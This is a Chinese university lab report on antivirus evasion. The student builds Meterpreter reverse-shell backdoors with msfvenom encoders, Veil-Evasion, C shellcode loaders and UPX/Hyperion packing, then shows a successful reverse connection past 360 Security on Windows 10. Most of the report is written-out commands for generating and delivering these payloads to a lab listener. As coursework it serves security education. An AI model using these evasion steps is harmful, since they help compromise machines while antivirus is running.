20222405 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实践任务
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)通过组合应用各种技术实现恶意代码免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测:比对已知恶意软件的特定字节模式,检测已知威胁。
启发式检测:分析文件的结构和行为特征,发现新型或变种威胁。
行为分析:在沙盒中执行文件,观察其是否有恶意行为。
(2)免杀是做什么?
“免杀”是指恶意软件通过一些手段,逃避杀毒软件的检测,从而提高感染成功率。这些技术通过隐藏或动态改变恶意代码的特征,使其难以被特征码匹配、行为分析或沙盒检测发现。
(3)免杀的基本方法有哪些?
代码混淆:修改代码结构或指令顺序,隐藏特征码。
加壳与加密:使用加密或压缩技术包装恶意软件,掩盖其真实内容。
自修改代码:让代码在运行时动态变化,规避静态分析。
反沙盒与反调试:检测是否在虚拟环境或调试器中运行,避免被分析。
2.实验过程
任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
先看一下实验二生成的后门程序
在virustotal网站检测后结果如下图
我们可以看出,没有经过处理的后门程序可以很容易地被杀毒软件检测出来
所以有必要对文件操作一下了
用msf编码器对后门程序进行编码
先输入msfvenom --list formats
查看支持的输出格式
可以看到支持很多格式
生成后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao.exe
输入msfvenom --list encoders
查看支持的编码方式
生成一次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-2.exe
看起来一次编码没什么效果
生成十次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-3.exe
只能说光编码没什么大用
生成jar文件,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f jar > 20222405chuzhehao-4.jar
再进行编码,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f jar > 20222405chuzhehao-5.jar
生成elf文件,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f elf > 20222405chuzhehao-6.elf
再进行编码,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f elf > 20222405chuzhehao-7.elf
可以看到效果好了很多
使用veil,加壳工具
首先安装veil
依次输入命令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
然后接着输入
apt-get install veil
cd /usr/share/veil/config/
vim setup.sh
打开文件后将第260行的下载地址改为https://gitee.com/spears/VeilDependencies.git
输入命令veil
进行安装
一路安装或更新各种程序
成功安装veil
输入命令use evasion
,进入veil—Evasion
输入命令list
,查看能用的payload类型
我们使用第七个c/meterpretermrev_tcp.py,输入命令use 7
先看下虚拟机ip地址
、
依次输入命令
set LHOST 192.168.146.128
set LPORT 2405
generate
把生成的文件命名为20222405veil
输入命令
cd /var/lib/veil/output/compiled/
ls
查看生成的文件
对20222405veil.exe进行检测
使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=2405 -f c
编写C语言文件20222405.c
将生成的buf[]数组放入文件中
输入命令i686-w64-mingw32-g++ 20222405.c -o 20222405.exe
将C语言文件编译为可执行文件
对20222405.exe进行检测
upx加壳
输入命令upx 20222405.exe -o upx20222405.exe
hyperion加壳
输入命令wine hyperion.exe -v upx20222405.exe hyperion20222405.exe
查看生成的可执行文件
对upx20222405.exe进行检测
对hyperion20222405.exe进行检测
感觉效果并不好
任务二 通过组合应用各种技术实现恶意代码免杀
原理:使用msfvenom生成Shellcode,以字节数组的形式保存,然后对Shellcode进行加密,以防止被静态分析工具直接检测到。加密后的数据被保存到文本文件中。接着用C语言编写程序,从文本文件中读取加密数据并实现解密,将其还原为原始Shellcode,通过函数指针和内存执行的方式运行Shellcode。最后将这个C程序编译为可在Windows上运行的.exe文件。
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:Windows10 x64
杀毒引擎:360安全卫士
杀软版本:V13.0.0.2236
输入msfconsole
打开控制台
依次输入命令
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.146.128
set LPORT 2405
run
主机运行后门程序,输入命令ls
回连成功
3.问题及解决方案
问题1:出现下图中的报错
问题1解决方案:依次输入命令dpkg --add-architecture i386
、sudo apt-get update
、sudo apt-get install wine32
问题2:出现报错[!] ERROR #2-3: Can't find the wINE profile for AuotIT v3 (/var/lib/vei/wine//drive_c/program Files/AutoIt3/Aut2Exe/Aut2exe.exe).
问题2解决方案:输入sudo /usr/share/veil/config/setup.sh --force --silent
问题3:运行.exe可执行文件显示该程序无法在你的系统上运行
问题3解决方案:可执行文件是64位的,我的win10虚拟机是32位的系统,换成64位的系统即可解决
4.学习感悟、思考等
在这次实验中,Veil的安装过程非常坎坷,安装时经常卡在某个环节,甚至多次导致虚拟机崩溃,不得不重启虚拟机再从头开始操作,经过反复尝试后,我终于成功安装了Veil,但感觉虚拟机不太稳定。在实验中我尝试了多种免杀技术,虽然某些方法效果有限,但通过组合多种技术,最终显著降低了恶意代码的检测率。在这方面我还需要深入研究和提高技能。通过这次实验我了解到即使启用杀毒软件,也无法完全阻挡恶意代码的侵入。因此,确保计算机安全不能仅仅依赖杀毒软件,而是应采取多层次的防护策略,持续增强安全意识。